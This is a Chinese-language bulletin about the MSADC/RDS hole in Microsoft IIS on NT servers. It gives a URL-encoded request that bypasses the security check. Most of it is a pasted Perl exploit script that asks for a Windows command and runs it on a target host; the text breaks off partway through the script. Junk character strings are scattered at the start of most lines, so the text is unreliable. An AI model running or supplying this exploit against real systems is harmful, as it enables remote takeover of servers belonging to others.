IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
1j${,>4tQ o{S}e!Vb 涉及程序:
!Vp,YN+yN Microsoft NT server
} K+Q9<~u :FKYYH\ 描述:
H3UX{|[ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
`JY>v io NIWI6qCw 详细:
rw=UK` 如果你没有时间读详细内容的话,就删除:
"tg\yem c:\Program Files\Common Files\System\Msadc\msadcs.dll
>[E|p6jgT 有关的安全问题就没有了。
_.Z&<.lJ 7YQK@lS 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
'
q=NTP ..Uw8u/ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Eezlx9b 关于利用ODBC远程漏洞的描述,请参看:
rH2tC=% @gu77^=' http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |)!k@?_ Z CQt1; 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
+,{Wcb http://www.microsoft.com/security/bulletins/MS99-025faq.asp pdcwq~4~% gn[$;*932z 这里不再论述。
?-.Ep0/ yG4LQE 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
5.C[)`_ qqz,~EhC /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
_]?Dt%MkD 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
_A~~L6C K#6`LL m {Y@-*pL] #将下面这段保存为txt文件,然后: "perl -x 文件名"
5>4A}hSe n|4D#Bd1w #!perl
_1>(GK5[ #
gQk#l\w_ # MSADC/RDS 'usage' (aka exploit) script
u=v%7c2Mx} #
^b|Nw: # by rain.forest.puppy
4-}A'fTU8 #
x4HMT/@AG2 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
beHCEwh # beta test and find errors!
(61twutC i6g[E4nk use Socket; use Getopt::Std;
EB3o8 getopts("e:vd:h:XR", \%args);
ixJ20A7 ubN"(F:!-S print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
M\.T 0M_ Zh~Lm if (!defined $args{h} && !defined $args{R}) {
I}G}+0geV print qq~
fFTvf0j Usage: msadc.pl -h <host> { -d <delay> -X -v }
, C@hTOT -h <host> = host you want to scan (ip or domain)
T.m)c%]^/ -d <seconds> = delay between calls, default 1 second
2Fp]S
a -X = dump Index Server path table, if available
D'sboOY -v = verbose
B 1ZHV^ -e = external dictionary file for step 5
{ d2f)ra. .jGsO0 Or a -R will resume a command session
w<F;&';@h Hb AMoow! ~; exit;}
M?4r 5R SeJFZ0p $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
8,H5G` if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
uI-76 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
W!4V:(T if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
\|>`z,; $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+@7x45;D if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
/%q9hI ~ew**@N if (!defined $args{R}){ $ret = &has_msadc;
5bznM[%xO die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
wyA(}iSq Lv5
==w} print "Please type the NT commandline you want to run (cmd /c assumed):\n"
DGfQo5# . "cmd /c ";
46?F+,Rzl $in=<STDIN>; chomp $in;
Lvj5<4h; $command="cmd /c " . $in ;
|KrG3-i3X Rd1ku= if (defined $args{R}) {&load; exit;}
w3bH|VnU8; c+i`Zd.m< print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
.s*EV!SE &try_btcustmr;
\^( vlcy GxDF7
z%& print "\nStep 2: Trying to make our own DSN...";
w{O3P"N2 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
a*8.^SdzR 1o8"==n% print "\nStep 3: Trying known DSNs...";
AW;)_|xM &known_dsn;
._8cJf.ae t-x"( print "\nStep 4: Trying known .mdbs...";
Y&